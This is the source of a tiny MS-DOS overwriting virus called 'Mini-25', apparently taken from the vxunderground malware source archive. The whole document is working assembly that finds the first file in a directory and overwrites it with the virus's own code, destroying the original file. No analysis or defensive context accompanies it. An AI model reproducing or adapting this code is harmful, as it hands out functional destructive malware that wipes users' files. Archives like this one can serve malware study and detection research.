MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow8.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

21 lines
406 B
NASM

;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main